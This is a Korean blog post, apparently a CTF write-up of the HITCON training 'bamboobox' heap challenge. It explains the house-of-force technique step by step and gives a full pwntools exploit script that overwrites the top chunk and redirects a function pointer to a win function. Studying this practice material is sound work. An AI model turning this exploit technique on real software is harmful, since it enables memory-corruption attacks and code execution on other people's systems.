hint : house of force


예전에도 house of force를 푼 적이 있는데 이놈의 기억력이... 그래서 문서 참고해서 다시 풀었다.


다시 한번 정리하자면 house of force는

1. 공격자가 topchunk를 조작할 수 있어여 함

2. 메모리 할당할 때 크기를 자유롭게 조절할 수 있어야 함

3. 할당된 영역에 원하는 값을 입력할 수 있어야 함


이 세 가지 조건을 만족하면 house of force로 익스할 수 있다.


나의 익스 방법은

256바이트의 메모리 할당을 받은 후 topchunk를 0xffffffff로 오버플로우 시켰다.


그런 다음 내가 원하는 곳에 메모리를 할당 받기 위해 타겟의 위치를 계산해야 한다.

house of force의 문서를 보면 target address - 0x10 - topchunk의 주소를 한 값을 할당할 값으로 집어넣는데 이 문제에선 topchunk를 릭할 수 없어서 처음엔 좀 당황했다.

근데 이 문제는 magic()이라는 익스용 함수가 있고 아래는 main()함수인데 goodbye_message라는 함수를 포인터 배열에 집어넣었고 이 바이너리를 종료할 때 실행하는 부분이 있는데 여기를 공략하면 된다.



goodbye_message가 들어가는 포인터 배열은 바이너리에서 처음으로 16바이트가 malloc()되므로 add_item()한 거 보다 32바이트 전에 위치 할 것이다.

0x603010에 hello_message와 goodbye_message가 있다.

즉 malloc()할 때 적절한 값을 줘서 0x603000에 메모리가 할당되도록 하면 된다.

즉 여기선 topchunk의 address 몰라도 topchunk와의 거리는 계산할 수 있으므로 거리를 계산한 후 malloc()해주면 된다.

topchunk - 0x603000 = 0x603138 - 0x603000 = 312

즉 malloc(-312)를 해주면 main_arena.top에 0x603000가 들어간다.


그리고 main_arena.top을 확인해보면 정말 0x603000이 들어간 것을 볼 수 있다.

이제 새로 malloc()을 해주면 0x603000에 할당되었으니 이제 여기에 magic()함수의 주소를 입력해주고 5번 메뉴를 실행하면 익스가 가능하다.


from pwn import *

def add_item(size, item):
	r.sendline("2")
	r.sendline(str(size))
	r.sendline(str(item))

def change_item(idx, size, item):
	r.sendline("3")
	r.sendline(str(idx))
	r.sendline(str(size))
	r.sendline(item)

if __name__ == "__main__":
	r = process("./bamboobox")
	elf = ELF("./bamboobox")
	magic_gadget = 0x400d49

	payload = "A"*264
	payload += p64(0xffffffffffffffff)

	add_item(256, "AAAAAAAA")
	change_item(0, 272, payload)
	#pause()
	add_item(-312, "dddd")
	add_item(16, p64(magic_gadget)*2)

	r.interactive()


'Wargame > Hitcon training' 카테고리의 다른 글

HITCON training lab14 (unsorted bin attack)  (0) 2018.11.01
HITCON training lab10  (0) 2018.10.25
HITCON training lab6  (0) 2018.10.22
HITCON training lab4  (0) 2018.10.18
HITCON training lab5  (0) 2018.10.16

+ Recent posts